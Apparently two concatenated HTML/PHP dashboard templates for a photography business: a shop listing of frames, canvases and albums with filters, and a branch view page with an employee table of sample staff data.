<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-danger">New</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5451076.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Stand Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$1,567
<del class="h4 text-muted ml-2">$1,298</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-purple">10% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/1108452.png" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Canvas</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$2,678
<del class="h4 text-muted ml-2">$3,078</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/110301664.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Family Album</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$1,456
<del class="h4 text-muted ml-2">$1,387</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
</div>
<ul class="pagination justify-content-center mb-4">
<li class="page-item page-prev disabled">
<a class="page-link" href="#" tabindex="-1">Prev</a>
</li>
<li class="page-item active"><a class="page-link" href="#">1</a></li>
<li class="page-item"><a class="page-link" href="#">2</a></li>
<li class="page-item"><a class="page-link" href="#">3</a></li>
<li class="page-item"><a class="page-link" href="#">4</a></li>
<li class="page-item"><a class="page-link" href="#">5</a></li>
<li class="page-item page-next">
<a class="page-link" href="#">Next</a>
</li>
</ul>
</div>
<div class="col-xl-3 col-md-12">
<div class="card bg-primary text-white">
<div class="card-header">
<div class="card-title">
Shopping Cart
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col-10">
<a href="/shopping-cart"><img
src="assets/images/svgs/png/115-shopping-cart.png" alt=""></a>
</div>
<div class="col-2">
<div class="tag tag-danger">4</div>
</div>
</div>
</div>
</div>
<div class="card bg-primary">
<div class="card-header">
<div class="card-title">Search</div>
</div>
<div class="card-body">
<div class="input-group">
<input type="text" class="form-control br-tl-3 br-bl-3 bg-white" placeholder="">
<div class="input-group-append ">
<button type="button" class="btn btn-secondary br-tr-3 br-br-3">
<i class="fas fa-search" aria-hidden="true"></i>
</button>
</div>
</div>
</div>
</div>
<div class="card bg-primary text-white">
<div class="card-header">
<div class="card-title"> Categories & Fliters</div>
</div>
<div class="card-body">
<div class="custom-checkbox custom-control">
<input type="checkbox" data-checkboxes="mygroup" class="custom-control-input" id="checkbox-1"
checked="">
<label for="checkbox-1" class="custom-control-label">Album</label>
</div>
<div class="custom-checkbox custom-control">
<input type="checkbox" data-checkboxes="mygroup" class="custom-control-input" id="checkbox-2">
<label for="checkbox-2" class="custom-control-label">Photo size</label>
</div>
<div class="custom-checkbox custom-control">
<input type="checkbox" data-checkboxes="mygroup" class="custom-control-input" id="checkbox-3">
<label for="checkbox-3" class="custom-control-label">Canvas</label>
</div>
<div class="custom-checkbox custom-control">
<input type="checkbox" data-checkboxes="mygroup" class="custom-control-input" id="checkbox-4">
<label for="checkbox-4" class="custom-control-label">Picture Frame</label>
</div>
<div class="form-group mt-3">
<label class="form-label">Category</label>
<select name="beast" id="select-beast" class="form-control custom-select">
<option value="1">Wedding</option>
<option value="2">Birthdday Parties</option>
<option value="3">Portraits</option>
<option value="4">Pictures</option>
<option value="5">Albums</option>
<option value="5">Picture Frames</option>
<option value="5">Many Part Frames</option>
</select>
</div>
<div class="form-group">
<label class="form-label">Brand</label>
<select name="beast" id="select-beast1" class="form-control custom-select">
<option value="1">White</option>
<option value="2">Black</option>
<option value="3">Red</option>
<option value="4">Green</option>
<option value="5">Blue</option>
<option value="6">Yellow</option>
</select>
</div>
<div class="form-group">
<label class="form-label">Color</label>
<select name="beast" id="select-beast3" class="form-control custom-select">
<option value="1">White</option>
<option value="2">Black</option>
<option value="3">Red</option>
<option value="4">Green</option>
<option value="5">Blue</option>
<option value="6">Yellow</option>
</select>
</div>
<div class="form-group">
<label class="form-label">Size</label>
<select name="beast" id="select-beast3" class="form-control custom-select">
<option value="1">15*50</option>
<option value="2">15*15</option>
<option value="3">96*96</option>
</select>
</div>
<label class="form-label">Price Range</label>
<input type="text" id="range_03" class="text-secondary">
<div class="mt-5">
<a class="btn btn-success mb-2" href="#">Apply Filter</a>
<a class="btn btn-danger" href="#">Search Now</a>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Most Views</h3>
</div>
<div class="card-body">
<div class="row mt-4">
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="/product-single" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Best Selling</h3>
</div>
<div class="card-body">
<div class="row mt-4">
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i
class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4"
data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="shopping" class="modal fade">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content ">
<div class="modal-header pd-x-20">
<h6 class="modal-title">Shopping Cart</h6>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body pd-20">
</div><!-- modal-body -->
<div class="modal-footer">
</div>
</div>
</div><!-- modal-dialog -->
</div><!-- modal -->
<?php
$scripts = [
'/assets/plugins/rangeslider/ion.rangeSlider.js',
'/assets/js/rangeslider.js',
'/assets/plugins/date-picker/spectrum.js',
'/assets/plugins/date-picker/jquery-ui.js',
'/assets/plugins/input-mask/jquery.maskedinput.js'
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Branch View</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary "><i class="fas fa-pen"></i> Edit</a>
</div>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i
class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro11.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Asal Moghadam</a></h5>
<span>Executive manager</span>
<div >
<span class="badge badge-default">management</span>
<span class="badge badge-default">leader</span>
</div>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/057-location.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Projects </a>
</div>
<h3 class="mt-4">156 </h3>
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/116-support.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Meetings </a>
</div>
<h3 class="mt-4">80 </h3>
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/044-delivery-15.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Tasks </a>
</div>
<h3 class="mt-4">933 </h3>
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="card">
<div class="card-body text-center">
<img src="../assets/images/svgs/png/071-logistic-13.png" alt="img" class="w-8 h-8 mb-4">
<div class="svg-btn">
<a class="btn btn-primary btn-pill" href="#">Success deals </a>
</div>
<h3 class="mt-4">143 </h3>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-body p-5">
<div class="panel panel-primary">
<div class=" p-3 ">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li><a href="#tab111" class="active font-weight-bold" data-toggle="tab">Employees</a></li>
<li><a href="#tab222" class="font-weight-bold" data-toggle="tab">Deals</a></li>
<li><a href="#tab333" class="font-weight-bold" data-toggle="tab">Contracts</a></li>
<li><a href="#tab444" class="font-weight-bold" data-toggle="tab">Projects</a></li>
<li><a href="#tab555" class="font-weight-bold" data-toggle="tab">Tasks</a></li>
<li><a href="#tab666" class="font-weight-bold" data-toggle="tab">Polls</a></li>
<li><a href="#tab777" class="font-weight-bold" data-toggle="tab">Meetings</a></li>
<li><a href="#tab888" class="font-weight-bold" data-toggle="tab">Calls</a></li>
<li><a href="#tab999" class="font-weight-bold" data-toggle="tab">times off request</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0 ">
<div class="tab-content">
<div class="tab-pane active " id="tab111">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Gender</th>
<th class="wd-10p border-bottom-0 text-center">Role</th>
<th class="wd-10p border-bottom-0 text-center">Unit</th>
<th class="wd-20p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Internal Tel</th>
<th class="wd-25p border-bottom-0 text-center">Mobile</th>
<th class="wd-25p border-bottom-0 text-center">Efficiency</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Female</td>
<td class="text-center">Designer</td>
<td class="text-center">Designing</td>
<td class="text-center"><NAME></td>
<td class="text-center">1455445</td>
<td class="text-center">09028845455</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-60 font-weight-bold ">60%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Female</td>
<td class="text-center">Cameraman</td>
<td class="text-center">Operation</td>
<td class="text-center">Velenjak</td>
<td class="text-center">112548</td>
<td class="text-center">09124558523</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-danger w-10 font-weight-bold ">10%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Male</td>
<td class="text-center">Photographer</td>
<td class="text-center">Operation</td>
<td class="text-center">Ferdosi</td>
<td class="text-center">1168855</td>
<td class="text-center">09361557895</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-95 font-weight-bold ">95%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Male</td>
<td class="text-center">Receptionist</td>
<td class="text-center">TQM</td>
<td class="text-center">Ferdosi</td>
<td class="text-center">885468</td>
<td class="text-center">09124478534</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-40 font-weight-bold ">40%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Female</td>
<td class="text-center">Photo Designer</td>
<td class="text-center">Designing</td>
<td class="text-center">Shariati</td>
<td class="text-center">2269854</td>
<td class="text-center">0914589898</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-danger w-25 font-weight-bold ">25%
</div>
</div>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/employee-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME>i</td>
<td class="text-center">Male</td>
<td class="text-center">Film Designer</td>
<td class="text-center">Designing</td>
<td class="text-center">Velenjak</td>
<td class="text-center">1168954</td>
<td class="text-center">09358876512</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-55 font-weight-bold ">55%
</div>
</div>
